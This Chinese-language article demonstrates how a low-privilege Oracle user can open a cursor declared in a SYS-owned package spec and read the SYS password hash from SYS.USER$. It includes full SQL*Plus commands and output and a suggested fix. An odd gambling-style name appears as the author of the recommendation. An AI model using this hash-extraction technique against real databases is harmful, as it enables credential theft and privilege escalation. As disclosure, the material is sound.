前文我们介绍了两种Oracle游标的数据库安全隐患,一是利用游标的挂起状态进行恶意代码注入,二是利用恶意代码注入进行提权,其实通过游标获取高权限账号的密码完全不用这么麻烦,oracle在游标设计上本身就有安全问题。
用高权限用户写一个包,这个包中放入一个游标,功能和前面用的schina_test是一致的。用来取回需要检查账号的hash。然后和我们给出的一组预设hash做对比。低权限用户如果知道这个游标可以直接在包外调用该游标,从而获取游标中的内容。包内游标可以在包外被调用,这是oracle游标本身设计上的安全缺陷。
SQL> connect / as sysdba
已连接。
SQL> CREATE OR REPLACE PACKAGE schina AS
2 CURSOR X (USERNAME IN VARCHAR2) IS SELECT PASSWORD FROM SYS.USER$
3 WHERE NAME=USERNAME;
4 PROCEDURE CHECK_PASSWORD;
5 END;
6 /
程序包已创建。
SQL> CREATE OR REPLACE PACKAGE BODY schina AS
2 PROCEDURE CHECK_PASSWORD IS
3 PASSWORD VARCHAR2(200);
4 BEGIN
5 OPEN X (USER());
6 FETCH X INTO PASSWORD;
7 CLOSE X;
8 IF PASSWORD = '01234567890ABCDEF' THEN
9 DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS NOT OK');
10 ELSE
11 DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS OK');
12 END IF;
13 END CHECK_PASSWORD;
14 END;
15 /
程序包体已创建。
SQL> show errors
没有错误。
SQL> GRANT EXECUTE ON SYS.SCHINA TO PUBLIC;
授权成功。
通过show errors检验发现整个过程没有X游标挂起的问题。X游标正常关闭了,到现在为止操作一切正常切换到低权限账号
SQL> connect scott/tiger
已连接。
SQL> set serveroutput on
SQL> exec sys.schina.check_password;
YOUR PASSWORD HASH IS OK
执行包返回的结果很安全,不会显示出游标内存储的内容,但如果通过一个匿名块,在包外使用游标的结果就变得不安全了,低权限用户可以轻易使用高权限用户设置的游标。通过游标直接可以获取到游标中存储的结果集。
SQL> DECLARE PASSWORD VARCHAR2(200);
2 BEGIN OPEN SYS. SCHINA.X ('SYS');
3 FETCH SYS. SCHINA.X INTO PASSWORD;
4 CLOSE SYS. SCHINA.X;
5 DBMS_OUTPUT.PUT_LINE('The SYS password is '|| PASSWORD);
6 END;
7 /
The SYS password is CF10653F66A74AC2
任何权限账号的密码通过这种方式都会被低权限用户直接获取HASH值,然后通过HASH逆向工具,获取全部账号的密码。
至此我们对我们已经分析了3种Oracle数据库游标带来的安全隐患。游标作为oracle的核心子程序,安全性十分重要。oracle的游标虽然解决了一些问题,但安全性上还有很大问题。918搏天堂建议Oracle给游标一个参数,作为安全参数。默认打开安全参数,当游标在其被定义的包外打开的时候,对游标进行强制检查,一旦发现打开该游标的用户权限低于创建游标者的权限,则直接抛出异常,禁止打开该游标,从而保证Oracle数据库安全性。